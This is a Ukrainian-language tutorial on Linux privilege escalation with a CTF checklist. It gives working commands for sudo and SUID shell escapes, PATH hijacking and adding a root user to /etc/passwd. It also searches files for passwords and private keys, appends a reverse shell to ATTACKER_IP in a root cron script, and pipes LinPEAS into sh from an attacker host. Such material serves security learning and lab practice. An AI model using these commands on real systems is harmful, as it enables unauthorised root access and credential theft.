Що таке Privilege Escalation?
Після отримання початкового доступу до системи (зазвичай як звичайний користувач) мета — стати root. Цей процес називається privilege escalation (privesc).
Перша розвідка
# Хто ми?
id
whoami
# Яка ОС та версія ядра?
uname -a
cat /etc/os-release
# Що можемо запустити від sudo?
sudo -l
# Інші користувачі
cat /etc/passwd | grep -v nologin
# Де ми?
pwd
ls -la
1. Sudo без пароля
sudo -l
Якщо бачимо щось на кшталт:
(ALL) NOPASSWD: /usr/bin/vim
Запускаємо vim і з нього отримуємо shell:
sudo vim -c ':!/bin/bash'
GTFOBins — сайт з техніками для сотень бінарників:
https://gtfobins.github.io/
Просто знайдіть бінарник у списку і скопіюйте команду.
2. SUID біти
SUID (Set User ID) — файл виконується з привілеями власника, а не того хто запускає.
# Знайти всі SUID файли
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
Класичний приклад — /bin/bash з SUID:
# Якщо bash має SUID root
/bin/bash -p
find з SUID:
find . -exec /bin/bash -p \; -quit
nmap (старі версії):
nmap --interactive
nmap> !sh
Перевіряйте всі знайдені SUID файли на GTFOBins.
3. Cron jobs
Cron завдання що запускаються від root — золота жила для privesc.
# Системний crontab
cat /etc/crontab
# Директорії cron
ls -la /etc/cron*
# Логи cron (можуть показати що запускається)
cat /var/log/cron.log 2>/dev/null
grep "CRON" /var/log/syslog 2>/dev/null
Сценарій атаки: скрипт запускається від root кожну хвилину, але файл скрипту доступний на запис нам.
# Перевіряємо права файлу
ls -la /opt/cleanup.sh
# Якщо є запис — додаємо reverse shell
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/cleanup.sh
# Чекаємо на своєму listener
nc -lvnp 4444
4. Writable /etc/passwd
ls -la /etc/passwd
Якщо файл доступний на запис — можна додати нового root-користувача:
# Генеруємо хеш пароля "hacked"
openssl passwd -1 -salt salt hacked
# $1$salt$...
# Додаємо рядок з root UID=0
echo 'hacker:$1$salt$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
# Входимо
su hacker
5. PATH Hijacking
Якщо SUID програма викликає інші команди без повного шляху:
# Знаходимо що викликає програма
strings /usr/local/bin/suid_program
# Якщо викликає "service" без /usr/sbin/service
# Створюємо свій "service" в /tmp
echo '#!/bin/bash' > /tmp/service
echo 'bash -p' >> /tmp/service
chmod +x /tmp/service
# Змінюємо PATH
export PATH=/tmp:$PATH
# Запускаємо вразливу програму
/usr/local/bin/suid_program
6. Слабкі паролі та повторне використання
# Пошук паролів у файлах
grep -r "password" /var/www/ 2>/dev/null
grep -r "passwd" /etc/ 2>/dev/null
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null
# Файли з приватними ключами
find / -name "id_rsa" 2>/dev/null
find / -name "*.pem" 2>/dev/null
Автоматизація: LinPEAS
# Завантажити та запустити
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Або передати через сервер
# На атакуючій машині:
python3 -m http.server 8080
# На цільовій:
curl http://ATTACKER:8080/linpeas.sh | sh
LinPEAS підсвічує критичні знахідки червоним/жовтим — концентруйтеся на них.
Чекліст для CTF
- [ ]
sudo -l— що можна запустити? - [ ]
find / -perm -4000 2>/dev/null— SUID файли - [ ]
cat /etc/crontab+/etc/cron*— cron задачі - [ ] Паролі у конфіг-файлах та history
- [ ] Writable файли що запускаються від root
- [ ] Версія ядра → шукати public exploits
- [ ] LinPEAS для автоматичного аналізу